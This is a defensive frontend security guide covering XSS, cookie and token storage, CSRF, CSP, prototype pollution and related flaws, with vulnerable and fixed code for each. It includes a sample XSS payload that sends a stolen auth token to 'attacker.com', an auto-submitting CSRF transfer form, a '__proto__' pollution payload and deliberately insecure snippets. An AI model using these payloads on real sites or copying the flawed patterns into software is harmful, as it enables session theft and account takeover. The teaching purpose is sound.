Frontend Security Vulnerabilities
Frontend Security Vulnerabilities
Section titled “Frontend Security Vulnerabilities”This guide covers common security vulnerabilities in frontend applications, their impact, and the standard mitigation strategies developers use to address them.
1. Cross-Site Scripting (XSS)
Section titled “1. Cross-Site Scripting (XSS)”What it is
Section titled “What it is”XSS occurs when an attacker injects malicious scripts into web pages viewed by other users. The browser executes these scripts in the context of the vulnerable site, allowing attackers to steal sensitive data, hijack user sessions, or perform unauthorized actions.
Types of XSS
Section titled “Types of XSS”- Stored XSS: Malicious script is permanently stored on the target server (e.g., in a database)
- Reflected XSS: Script is reflected off a web server (e.g., in error messages or search results)
- DOM-based XSS: Vulnerability exists in client-side code rather than server-side
Common attack vectors
Section titled “Common attack vectors”- Rendering unsanitized user input with
dangerouslySetInnerHTML - Inserting user data into HTML attributes or event handlers
- Processing untrusted HTML, Markdown, or rich text without sanitization
- Using
eval()or similar functions with user input
Example vulnerable code
Section titled “Example vulnerable code”// VULNERABLE: Direct rendering of user input<div dangerouslySetInnerHTML={{ __html: userComment }} />
// VULNERABLE: Dynamic attribute injection<img src={userProvidedUrl} />
// VULNERABLE: Event handler injection<button onClick={new Function(userCode)}>Click</button>Mitigation strategies
Section titled “Mitigation strategies”- Default escaping: Use React’s default text rendering (it auto-escapes)
- Sanitization libraries: Use DOMPurify for rich text/HTML sanitization
- Content Security Policy (CSP): Implement strict CSP headers to block inline scripts
- Avoid dangerous APIs: Minimize use of
dangerouslySetInnerHTML,eval(),Function() - Input validation: Validate and sanitize on both frontend (UX) and backend (security)
- Context-aware encoding: Use appropriate encoding for HTML, JavaScript, URL contexts
// SAFE: React's default rendering<div>{userComment}</div>
// SAFE: Sanitized HTMLimport DOMPurify from 'dompurify';<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userComment) }} />2. Insecure Authentication Token Storage
Section titled “2. Insecure Authentication Token Storage”What it is
Section titled “What it is”Authentication tokens (JWTs, session tokens) stored insecurely can be accessed by malicious scripts, leading to session hijacking and account takeover.
Common vulnerabilities
Section titled “Common vulnerabilities”- Storing tokens in
localStorageorsessionStorage - Exposing tokens in URL parameters
- Storing tokens in cookies without proper flags
- Long-lived tokens without rotation
Why localStorage is vulnerable
Section titled “Why localStorage is vulnerable”JavaScript code (including XSS attacks) can freely read localStorage, making any XSS vulnerability a potential account takeover.
// VULNERABLE: Token accessible to any scriptlocalStorage.setItem("authToken", jwt);
// Attacker's XSS payload can steal itconst token = localStorage.getItem("authToken");fetch("https://attacker.com/steal?token=" + token);Mitigation strategies
Section titled “Mitigation strategies”- HttpOnly cookies: Store sensitive tokens in cookies with
HttpOnlyflag (JavaScript cannot access) - Secure flag: Always use
Secureflag to ensure HTTPS-only transmission - SameSite attribute: Use
SameSite=StrictorLaxto prevent CSRF - Short-lived tokens: Keep access tokens short-lived (5-15 minutes)
- Token rotation: Implement refresh token rotation
- Server-side sessions: Consider server-side session management for highest security
Set-Cookie: accessToken=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=900Cookie security attributes explained
Section titled “Cookie security attributes explained”When setting cookies, various attributes control their security behavior. Understanding these is critical for protecting authentication tokens and sensitive data.
HttpOnly
Section titled “HttpOnly”What it does: Prevents JavaScript from accessing the cookie via document.cookie
Why it matters: Protects against XSS attacks. Even if an attacker injects malicious script, they cannot steal HttpOnly cookies.
Set-Cookie: sessionId=abc123; HttpOnlyUse case: Session tokens, refresh tokens, any authentication-related cookies
Not suitable for: Data that needs to be read by client-side JavaScript (e.g., user preferences, feature flags)
Secure
Section titled “Secure”What it does: Cookie is only sent over HTTPS connections, never over plain HTTP
Why it matters: Prevents man-in-the-middle attacks from intercepting cookies over insecure connections
Set-Cookie: sessionId=abc123; SecureUse case: All cookies in production environments. Should be combined with other security attributes.
Note: In development (localhost), browsers typically allow Secure cookies even over HTTP
SameSite
Section titled “SameSite”What it does: Controls whether cookies are sent with cross-site requests
Values:
-
SameSite=Strict: Cookie is never sent on cross-site requests, only when navigating to the origin site directly- Most secure option
- Use for: Session cookies, authentication tokens
- Drawback: Won’t be sent if user clicks link from external site (e.g., email, social media)
-
SameSite=Lax(default in modern browsers): Cookie is sent on top-level navigation with safe methods (GET) but not on cross-site subrequests (images, iframes)- Good balance of security and usability
- Use for: Most authentication scenarios
- Prevents CSRF on POST/PUT/DELETE while allowing legitimate cross-site GET navigation
-
SameSite=None: Cookie is sent on all cross-site requests- Requires
Secureattribute - Use for: Third-party cookies, embedded widgets, cross-domain APIs
- Least secure option
- Requires
# Strict - Maximum protectionSet-Cookie: session=abc123; SameSite=Strict; HttpOnly; Secure
# Lax - Good defaultSet-Cookie: session=abc123; SameSite=Lax; HttpOnly; Secure
# None - For cross-site scenarios (must be Secure)Set-Cookie: widget=xyz; SameSite=None; SecureComparison table:
| Scenario | Strict | Lax | None |
|---|---|---|---|
| User clicks link from external site | ❌ Not sent | ✅ Sent | ✅ Sent |
| Form POST from external site | ❌ Not sent | ❌ Not sent | ✅ Sent |
| Ajax/Fetch from external site | ❌ Not sent | ❌ Not sent | ✅ Sent |
| Image/iframe from external site | ❌ Not sent | ❌ Not sent | ✅ Sent |
| Same-site requests | ✅ Sent | ✅ Sent | ✅ Sent |
Domain
Section titled “Domain”What it does: Specifies which hosts can receive the cookie
# Cookie available only to api.example.comSet-Cookie: token=abc; Domain=api.example.com
# Cookie available to all subdomains of example.comSet-Cookie: token=abc; Domain=.example.comSecurity tip: Be specific. Avoid setting Domain to a broad scope unless necessary, as it increases attack surface.
What it does: Restricts cookie to specific URL paths
# Cookie only sent for /app/* pathsSet-Cookie: token=abc; Path=/app
# Cookie sent for all paths (default)Set-Cookie: token=abc; Path=/Security note: Path is not a strong security boundary. Use it for organization, not security.
Max-Age and Expires
Section titled “Max-Age and Expires”What they do: Control cookie lifetime
- Max-Age: Seconds until cookie expires (modern, preferred)
- Expires: Specific date/time when cookie expires (legacy)
# Expires in 1 hour (3600 seconds)Set-Cookie: session=abc; Max-Age=3600
# Expires at specific dateSet-Cookie: session=abc; Expires=Wed, 21 Oct 2026 07:28:00 GMT
# Session cookie (deleted when browser closes)Set-Cookie: session=abcBest practices:
- Short-lived access tokens: 5-15 minutes (
Max-Age=900) - Refresh tokens: 7-30 days (
Max-Age=604800to2592000) - Remember-me: Up to 1 year (
Max-Age=31536000)
Recommended cookie configurations
Section titled “Recommended cookie configurations”# Session/Access Token (high security)Set-Cookie: accessToken=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
# Refresh Token (long-lived)Set-Cookie: refreshToken=xyz789; HttpOnly; Secure; SameSite=Strict; Path=/auth/refresh; Max-Age=2592000
# User Preference (readable by JS)Set-Cookie: theme=dark; Secure; SameSite=Lax; Max-Age=31536000
# Third-party WidgetSet-Cookie: widgetId=123; Secure; SameSite=None; Max-Age=36003. Cross-Site Request Forgery (CSRF)
Section titled “3. Cross-Site Request Forgery (CSRF)”What it is
Section titled “What it is”CSRF tricks a user’s browser into making unwanted requests to a site where they’re authenticated. The browser automatically sends authentication cookies, making the request appear legitimate.
How it works
Section titled “How it works”- User is logged into
bank.comwith a valid session cookie - User visits attacker’s site
evil.com - Attacker’s page triggers a request to
bank.com/transfer - Browser automatically includes session cookies
bank.comprocesses the request as legitimate
Example attack
Section titled “Example attack”<!-- Attacker's malicious page --><form action="https://bank.com/transfer" method="POST"> <input type="hidden" name="amount" value="10000" /> <input type="hidden" name="to" value="attacker" /></form><script>document.forms[0].submit();</script>Mitigation strategies
Section titled “Mitigation strategies”- SameSite cookies: Set
SameSite=LaxorStricton session cookies - CSRF tokens: Include unpredictable tokens in state-changing requests
- Double-submit cookies: Send cookie value in both cookie and request body
- Origin/Referer validation: Check
OriginandRefererheaders - Custom headers: Require custom headers (e.g.,
X-Requested-With)
// Frontend sends CSRF tokenfetch('/api/transfer', { method: 'POST', headers: { 'X-CSRF-Token': csrfToken, 'Content-Type': 'application/json' }, body: JSON.stringify({ amount: 100, to: 'recipient' })});CSRF Token Flow
Section titled “CSRF Token Flow”The following diagram illustrates how CSRF tokens are generated, distributed, and validated:
Implementation examples
Section titled “Implementation examples”Backend - Token generation (Express.js):
const csrf = require('csurf');const csrfProtection = csrf({ cookie: false }); // Use session storage
app.get('/form', csrfProtection, (req, res) => { // Send token to client res.render('form', { csrfToken: req.csrfToken() });});
app.post('/api/transfer', csrfProtection, (req, res) => { // Token validation happens automatically via middleware // If we reach here, token is valid processTransfer(req.body); res.json({ success: true });});Frontend - Including token in requests:
// Option 1: From meta tagconst csrfToken = document.querySelector('meta[name="csrf-token"]').content;
// Option 2: From global variableconst csrfToken = window.__CSRF_TOKEN__;
// Option 3: Fetch from APIconst response = await fetch('/api/csrf-token');const { csrfToken } = await response.json();
// Include in all state-changing requestsfetch('/api/transfer', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': csrfToken }, credentials: 'include', // Important: send cookies body: JSON.stringify({ amount: 100, to: 'recipient' })});HTML form with CSRF token:
<form action="/api/transfer" method="POST"> <input type="hidden" name="_csrf" value="{{ csrfToken }}"> <input type="number" name="amount"> <input type="text" name="to"> <button type="submit">Transfer</button></form>4. Insufficient Content Security Policy (CSP)
Section titled “4. Insufficient Content Security Policy (CSP)”What it is
Section titled “What it is”Content Security Policy is an HTTP header that controls which resources the browser can load and execute. Missing or weak CSP leaves applications vulnerable to XSS and data injection attacks.
Common weaknesses
Section titled “Common weaknesses”- No CSP header at all
- Using
'unsafe-inline'or'unsafe-eval' - Overly permissive allowlists (e.g.,
script-src *) - Not updating CSP as application evolves
Mitigation strategies
Section titled “Mitigation strategies”- Strict CSP: Start with restrictive policies and relax as needed
- Nonce-based CSP: Use cryptographic nonces for inline scripts
- Hash-based CSP: Use hashes for specific inline scripts
- Report-only mode: Test CSP with
Content-Security-Policy-Report-Onlyfirst - Regular audits: Review and update CSP regularly
// Strong CSP exampleContent-Security-Policy: default-src 'self'; script-src 'self' 'nonce-2726c7f26c'; style-src 'self' 'nonce-2726c7f26c'; img-src 'self' https://cdn.example.com; connect-src 'self' https://api.example.com;5. Client-Side Authorization Vulnerabilities
Section titled “5. Client-Side Authorization Vulnerabilities”What it is
Section titled “What it is”Relying on frontend code to enforce access control or permissions creates a false sense of security. Attackers can bypass client-side restrictions by manipulating code or requests.
Common mistakes
Section titled “Common mistakes”- Hiding UI elements based on user roles (without backend enforcement)
- Trusting role/permission data sent from client
- Checking permissions only in frontend code
- Disabling buttons instead of enforcing server-side authorization
Example vulnerability
Section titled “Example vulnerability”// VULNERABLE: Only hiding UI, not enforcing access{isAdmin && <button onClick={deleteUser}>Delete User</button>}
// Attacker can still call deleteUser() or make direct API requestMitigation strategies
Section titled “Mitigation strategies”- Server-side enforcement: All authorization checks must happen on the backend
- API-level validation: Backend validates permissions for every request
- Principle of least privilege: Grant minimum necessary permissions
- Frontend as UX: Use client-side checks only for user experience
- Consistent validation: Ensure frontend and backend use same permission logic
// GOOD: UI reflects state, but backend enforces{isAdmin && <button onClick={deleteUser}>Delete User</button>}
// Backend always validatesapp.delete('/api/users/:id', async (req, res) => { if (!req.user.isAdmin) { return res.status(403).json({ error: 'Forbidden' }); } // Proceed with deletion});6. Sensitive Data Exposure
Section titled “6. Sensitive Data Exposure”What it is
Section titled “What it is”Unintentionally exposing sensitive information through frontend code, logs, APIs, or build artifacts.
Common exposure points
Section titled “Common exposure points”- API keys or secrets in JavaScript bundles
- Sensitive data in client-side logs
- Excessive data in API responses
- Source maps in production
- Personally Identifiable Information (PII) in URLs or analytics
- Internal system information in error messages
Example vulnerabilities
Section titled “Example vulnerabilities”// VULNERABLE: Secrets in frontend codeconst API_KEY = "sk_live_51234567890abcdef";
// VULNERABLE: Logging sensitive dataconsole.log("User data:", { ssn: user.ssn, creditCard: user.cc });
// VULNERABLE: Exposing too much datafetch('/api/users/123').then(r => r.json());// Returns: { id, email, password_hash, internal_notes, ... }Mitigation strategies
Section titled “Mitigation strategies”- Environment variables: Use environment variables for configuration, never commit secrets
- Backend proxy: Proxy third-party API calls through your backend
- Remove debug logs: Strip
console.logand debug code in production builds - Minimize API responses: Return only necessary data to clients
- Disable source maps: Remove or protect source maps in production
- Sanitize errors: Show generic error messages to users, log details server-side
- Data minimization: Don’t send sensitive data to the frontend unless absolutely necessary
// GOOD: API key stays on backend// Frontend calls your backendfetch('/api/proxy/external-service', { method: 'POST', body: JSON.stringify(data)});
// Backend makes the actual API callapp.post('/api/proxy/external-service', async (req, res) => { const response = await fetch('https://external-api.com/endpoint', { headers: { 'Authorization': `Bearer ${process.env.API_KEY}` } }); res.json(await response.json());});7. Insecure Dependencies
Section titled “7. Insecure Dependencies”What it is
Section titled “What it is”Using npm packages with known security vulnerabilities or malicious code can compromise your entire application.
Common risks
Section titled “Common risks”- Outdated dependencies with known CVEs
- Malicious packages (typosquatting, compromised maintainer accounts)
- Transitive dependencies with vulnerabilities
- Lack of dependency auditing
Mitigation strategies
Section titled “Mitigation strategies”- Regular audits: Run
npm auditoryarn auditregularly - Automated updates: Use Dependabot or Renovate for dependency updates
- Lock files: Commit
package-lock.jsonoryarn.lockto version control - Minimal dependencies: Reduce attack surface by minimizing dependencies
- Verify packages: Check package popularity, maintenance status, and reputation
- Security scanning: Integrate security scanning in CI/CD pipeline
- Subresource Integrity (SRI): Use SRI for CDN-hosted resources
<!-- Using SRI for CDN resources --><script src="https://cdn.example.com/library.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..." crossorigin="anonymous"></script>8. Open Redirects
Section titled “8. Open Redirects”What it is
Section titled “What it is”Unvalidated redirects that allow attackers to redirect users to malicious sites, often used in phishing attacks.
Common vulnerability patterns
Section titled “Common vulnerability patterns”// VULNERABLE: Redirect to user-controlled URLconst redirectUrl = new URLSearchParams(window.location.search).get('redirect');window.location.href = redirectUrl; // Could be https://evil.com
// VULNERABLE: Open redirect in navigation<a href={userProvidedUrl}>Click here</a>Mitigation strategies
Section titled “Mitigation strategies”- Allowlist validation: Only allow redirects to known, safe URLs
- Relative URLs: Prefer relative URLs over absolute URLs
- URL parsing: Validate protocol, domain, and path
- Indirect references: Use tokens/IDs instead of direct URLs
// GOOD: Validate against allowlistconst ALLOWED_REDIRECTS = ['/dashboard', '/profile', '/settings'];const redirect = params.get('redirect');if (ALLOWED_REDIRECTS.includes(redirect)) { navigate(redirect);} else { navigate('/dashboard'); // Safe default}9. Clickjacking
Section titled “9. Clickjacking”What it is
Section titled “What it is”Embedding your site in an invisible iframe to trick users into clicking on hidden elements, performing unintended actions.
Mitigation strategies
Section titled “Mitigation strategies”- X-Frame-Options header: Prevent framing by other sites
- CSP frame-ancestors: Modern alternative to X-Frame-Options
- Frame-busting scripts: Break out of frames (legacy approach)
X-Frame-Options: DENY# orX-Frame-Options: SAMEORIGIN
# CSP alternativeContent-Security-Policy: frame-ancestors 'self'10. Prototype Pollution
Section titled “10. Prototype Pollution”What it is
Section titled “What it is”Modifying JavaScript object prototypes to inject properties that affect all objects, potentially leading to security issues.
Common vulnerability
Section titled “Common vulnerability”// VULNERABLE: Merging untrusted objectsfunction merge(target, source) { for (let key in source) { target[key] = source[key]; }}
// Attacker payloadmerge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));// Now ALL objects have isAdmin: trueMitigation strategies
Section titled “Mitigation strategies”- Object.create(null): Use prototype-less objects for data storage
- Object.freeze(): Freeze prototypes in critical code
- Validation: Validate object keys, reject
__proto__,constructor,prototype - Safe libraries: Use maintained libraries with prototype pollution fixes
- Map over objects: Use
Mapinstead of plain objects for user data
// GOOD: Using Mapconst userData = new Map();userData.set(userKey, userValue); // No prototype pollution risk
// GOOD: Key validationfunction safeMerge(target, source) { for (let key in source) { if (key === '__proto__' || key === 'constructor' || key === 'prototype') { continue; } target[key] = source[key]; }}General Security Best Practices
Section titled “General Security Best Practices”- Defense in depth: Layer multiple security controls
- Least privilege: Grant minimal necessary permissions
- Input validation: Validate all user input (but don’t rely on it for security)
- Output encoding: Encode data appropriately for the context
- Security headers: Implement comprehensive security headers
- HTTPS everywhere: Use HTTPS for all communications
- Regular updates: Keep dependencies and frameworks updated
- Security testing: Include security testing in your development workflow
- Code reviews: Review code for security issues
- Security training: Keep team educated on security best practices